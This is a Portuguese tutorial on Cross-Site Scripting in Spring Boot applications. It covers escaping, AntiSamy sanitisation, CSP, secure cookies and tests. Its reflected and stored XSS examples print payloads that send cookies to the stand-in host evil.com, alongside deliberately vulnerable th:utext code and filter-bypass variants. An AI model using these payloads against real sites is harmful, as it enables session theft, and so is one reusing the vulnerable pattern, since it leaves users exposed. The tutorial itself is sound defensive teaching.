XSS: Ataques e como bloquear em aplicações Spring Boot
1. Visão geral
XSS (Cross-Site Scripting) é uma das vulnerabilidades web mais comuns, figurando no OWASP Top 10 há muitos anos. Este artigo te ajuda a entender os três tipos de XSS mais comuns, ver exemplos de ataques reais e depois aplicar técnicas de proteção como output encoding, Content Security Policy (CSP) e configuração de HTTP headers no Spring Boot. Após ler, você saberá como revisar e corrigir vulnerabilidades de XSS em suas aplicações.
2. O que é XSS?
XSS ocorre quando uma aplicação web permite que um atacante injete código JavaScript malicioso na página, e o navegador da vítima executa esse código como se fosse uma parte legítima da página web. As consequências: roubar cookies/sessões, falsificar ações do usuário, redirecionar para páginas de phishing.
Existem 3 tipos principais de XSS:
- Reflected XSS: o payload está na requisição (query string, form), o servidor responde imediatamente sem filtrar.
- Stored XSS: o payload é armazenado no banco de dados (por exemplo, comentários, bio) e depois exibido para todos verem — mais perigoso porque afeta múltiplos usuários.
- DOM-based XSS: o payload não passa pelo servidor, mas o JavaScript do cliente lê dados inseguros (URL, localStorage) e escreve diretamente no DOM.
3. Exemplo de ataque Reflected XSS
Suponha que você tenha um endpoint de busca simples que exibe a palavra-chave digitada pelo usuário:
@Controller
public class SearchController {
@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
model.addAttribute("keyword", keyword);
return "search-result";
}
}
O template Thymeleaf usa th:utext (texto não escapado) para exibir:
<p>Resultados da busca para: <span th:utext="${keyword}"></span></p>
O atacante envia este link para a vítima:
https://shop.example.com/search?keyword=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
Quando a vítima clica, o navegador executa o script e envia o cookie da vítima para evil.com. A causa raiz: th:utext renderiza HTML bruto sem codificar caracteres especiais.
Nota: Use
th:utextapenas quando você tem 100% de certeza de que o conteúdo é HTML confiável (por exemplo, criado por um admin através de um editor de rich-text com sanitização). Por padrão, sempre useth:text.
4. Exemplo de ataque Stored XSS
Stored XSS é mais perigoso porque o payload persiste no sistema por longo tempo. Exemplo com a funcionalidade de comentários:
@Entity
public class Comment {
@Id @GeneratedValue
private Long id;
private String content;
private String authorName;
// getters, setters
}
@PostMapping("/comments")
public String addComment(@RequestParam String content, @RequestParam String authorName) {
Comment comment = new Comment();
comment.setContent(content);
comment.setAuthorName(authorName);
commentRepository.save(comment);
return "redirect:/comments";
}
O atacante envia um comentário com o conteúdo:
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
Se a página que exibe comentários renderiza HTML diretamente sem codificação, todos que visualizam a página de comentários têm seus cookies roubados — sem precisar clicar em nenhum link.
5. Defesa com Output Encoding
Princípio de ouro: encode dados conforme o contexto quando fazendo output, não na entrada. No contexto HTML, Thymeleaf já faz escape por padrão quando você usa th:text:
<!-- Seguro: escape automático -->
<p th:text="${comment.content}"></p>
Comparação de resultado:
Input: <script>alert('XSS')</script>
Output (th:text): <script>alert('XSS')</script>
Output (th:utext): <script>alert('XSS')</script> <!-- PERIGOSO -->
Com th:text, o navegador exibe a string de caracteres literalmente, sem executar o script. Esta é a primeira camada de defesa e a mais importante.
5.1. Encode para diferentes contextos
Nem todo local de output usa HTML encoding. Por exemplo, ao inserir valores em atributos JavaScript ou URLs, você precisa de encoding diferente:
<!-- Context: HTML attribute -->
<a th:href="@{/profile(id=${user.id})}">Ver perfil</a>
<!-- Context: JavaScript string - NÃO faça assim -->
<script>
var username = '[[${user.name}]]'; // perigoso se name contém '); alert(1); //
</script>
Se você for forçado a passar dados do servidor para script, use encoding JSON e coloque em um atributo data-*:
<div id="user-data" th:data-name="${user.name}"></div>
<script>
const name = document.getElementById('user-data').dataset.name;
</script>
Desta forma você evita concatenação direta de strings em literais JavaScript — origem de muitas vulnerabilidades DOM-based XSS.
6. Sanitizando HTML para rich text
Existem casos legítimos onde você precisa armazenar HTML, por exemplo, posts de blog com negrito, itálico e links. Neste caso você não pode fazer escape de tudo, mas precisa fazer whitelist de tags/atributos seguros usando uma biblioteca de sanitização.
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.7.4</version>
</dependency>
@Service
public class HtmlSanitizerService {
private final Policy policy;
public HtmlSanitizerService() throws PolicyException {
this.policy = Policy.getInstance(getClass().getResourceAsStream("/antisamy-policy.xml"));
}
public String sanitize(String rawHtml) throws ScanException, PolicyException {
AntiSamy antiSamy = new AntiSamy();
CleanResults results = antiSamy.scan(rawHtml, policy);
return results.getCleanHTML();
}
}
O arquivo antisamy-policy.xml define whitelist de tags (<b>, <i>, <a> com href permitindo apenas http/https…). Qualquer tag/atributo não na whitelist (como <script>, onerror) é removido completamente antes de salvar no banco de dados.
Teste rápido do comportamento de sanitização:
@Test
void sanitize_shouldRemoveScriptTag_butKeepSafeFormatting() throws Exception {
HtmlSanitizerService sanitizer = new HtmlSanitizerService();
String dirty = "<p>Hello <b>world</b></p><script>alert(1)</script>";
String clean = sanitizer.sanitize(dirty);
assertThat(clean)
.contains("<p>Hello <b>world</b></p>")
.doesNotContain("<script>");
}
Nota: A sanitização deve ser feita tanto na entrada (antes de salvar no banco de dados, evitando que o payload vaze por outra API) e na saída (antes de renderizar) para defesa em profundidade.
7. Content Security Policy (CSP)
CSP é a segunda camada de defesa, limitando o navegador a executar scripts apenas de fontes confiáveis, mesmo se o payload de XSS passar da codificação/sanitização.
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"object-src 'none'; " +
"base-uri 'self';"
)
)
);
return http.build();
}
}
Explicação das diretivas:
default-src 'self': por padrão, apenas carrega recursos do mesmo origin.script-src 'self': executa scripts apenas do seu domínio — bloqueia completamente scripts inline (o navegador rejeita<script>alert(1)</script>, não importa se é válido ou não).object-src 'none': bloqueia Flash/plugins, vetores de ataque antigos mas ainda relevantes.
Header de resposta correspondente:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';
Quando um atacante consegue injetar <img src=x onerror="..."> passando pela sanitização, CSP com script-src 'self' vai bloquear event handlers inline (onerror) de serem executados, porque isso é considerado um script inline.
7.1. Testando CSP sem quebrar a interface
Antes de habilitar CSP strict em produção, use o modo report-only para monitorar violações sem bloquear:
headers.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'")
.reportOnly()
);
O navegador apenas registra avisos no console (e envia relatórios se houver report-uri) sem bloquear recursos. Com base nesses logs você pode refinar a política antes de aplicar de verdade.
8. Securizando cookies com HttpOnly e SameSite
Mesmo se bloquear XSS, você deve ter uma camada de proteção adicional: impedir que scripts leiam cookies de sessão, minimizando danos se XSS ainda ocorrer.
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
http-only=true: JavaScript (document.cookie) não consegue ler este cookie — o payload de roubo de cookie no exemplo 3 falhará.secure=true: cookie é enviado apenas via HTTPS.same-site=strict: cookie não é enviado com requisições de outros domínios, reduzindo risco de CSRF combinado com XSS.
9. Testes automatizados para detecção básica de XSS
Você pode escrever testes de integração verificando se o endpoint faz escape da saída corretamente, evitando regressões quando o código muda.
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class SearchControllerXssTest {
@Autowired
private TestRestTemplate restTemplate;
@Test
void search_shouldEscapeScriptTag_inResponseBody() {
String payload = "<script>alert(1)</script>";
ResponseEntity<String> response = restTemplate.getForEntity(
"/search?keyword=" + payload, String.class);
assertThat(response.getBody())
.doesNotContain("<script>alert(1)</script>")
.contains("<script>");
}
}
Este teste envia um payload de XSS clássico e afirma que o corpo da resposta não contém a tag script original — se contiver significa que o template está usando th:utext em lugar errado.
10. Checklist de erros comuns
- Usar
th:utext,innerHTMLouv-html(Vue) para dados do usuário sem sanitizar. - Concatenar dados do usuário diretamente em blocos
<script>em vez de usar atributosdata-*ou JSON seguro. - Fazer escape apenas na entrada (salvando no banco de dados) e esquecer na saída — se mudar de contexto de exibição (como exportar CSV, renderizar PDF), dados “limpos” do banco de dados ainda podem ser perigosos no novo contexto.
- Habilitar CSP muito permissivo (
script-src *ou comunsafe-inline) tornando CSP ineficaz contra XSS. - Esquecer
HttpOnlyno cookie de sessão — um atacante de XSS ainda conseguirá roubar o cookie mesmo que você tenha feito escape de output em outro lugar. - Confiar apenas em validação do lado do cliente (JavaScript) sem validar/fazer escape novamente no servidor — o lado do cliente é facilmente contornado.
Nota: Não escreva seu próprio regex para “filtrar” tags HTML (por exemplo, remover
<script>com regex). O atacante sempre encontra uma forma de contornar (<ScRiPt>,<svg/onload=...>, codificação Unicode…). Use uma biblioteca de sanitização já verificada como AntiSamy ou OWASP Java HTML Sanitizer.
11. Conclusão
XSS não é uma vulnerabilidade difícil de entender, mas é fácil de esquecer porque se esconde em cada ponto onde dados do usuário são exibidos. Defesa eficaz requer múltiplas camadas: faça escape correto conforme o contexto ao renderizar (prefira th:text em vez de th:utext), sanitize com whitelist quando precisar permitir rich HTML, habilite CSP para bloquear scripts desconhecidos mesmo que o payload passe, e defina HttpOnly/Secure/SameSite nos cookies para minimizar danos se XSS ainda ocorrer. Escreva testes automatizados verificando escape em todos os endpoints que recebem entrada do usuário — esta é a forma mais barata de evitar que este erro apareça novamente quando o código muda.